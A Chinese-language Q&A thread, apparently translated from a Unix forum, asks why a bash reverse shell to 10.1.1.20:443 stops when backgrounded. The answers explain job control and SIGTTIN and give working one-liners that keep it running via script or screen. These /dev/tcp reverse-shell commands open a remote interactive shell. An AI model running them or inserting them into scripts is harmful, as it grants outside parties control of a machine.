通过 SSH 连接时,我可以使用以下一行创建一个远程 shell:
bash -i >& /dev/tcp/10.1.1.20/443 0>&1
但是,这会“挂起”我当前的外壳,等待该过程完成。所以我想创建一个新流程。当我尝试使用 BG 运算符&
时,bg 进程由于某种原因立即停止:
root@debian:~# bash -i >& /dev/tcp/10.1.1.20/443 0>&1 &
[5] 2565
root@debian:~#
[5]+ Stopped bash -i &> /dev/tcp/10.1.1.20/443 0>&1
如果我尝试也会发生同样的情况bash -c "bash -i..."
如何在不影响当前 shell 的新进程中生成 bash?
答案1
发生这种情况是因为交互式 shell 进程会检查它是否位于其控制终端上的前台进程组中,如果不是,它会使用 来终止自身SIGTTIN
,这是一个停止它的信号。如果它的 stderr 和 stdin 被重定向到其他地方,它将/dev/tty
直接打开以便将 fd 获取到其控制终端。
这是在 dash 中执行此操作的代码,但 bash 执行相同的操作:
do { /* while we are in the background */
if ((pgrp = tcgetpgrp(fd)) < 0) {
out:
sh_warnx("can't access tty; job control turned off");
mflag = on = 0;
goto close;
}
if (pgrp == getpgrp())
break;
killpg(0, SIGTTIN);
} while (1);
从其他文件重定向 shell 的标准 fd 不会将其与控制终端分离。
OP 所谓的“远程 shell”技巧根本不可靠或不实用;如果将其包装在创建伪终端的命令中,您可能会更幸运,例如script
:
script -c 'bash -i' /dev/null </dev/tcp/somehost/someport >&0 2>&1 &
答案2
我无法解释为什么bash
拒绝在后台使用-i
(交互式)标志运行标准输入,标准输出, 和标准错误都被重定向了。但是,要回答底线问题,您可以通过screen
或开始该过程tmux
screen -md bash -c 'bash -i >/dev/tcp/10.1.1.20/443 2>&1 0<&1'
-m
和标志-d
指示screen
启动一个新的分离进程。man screen
详情请参阅。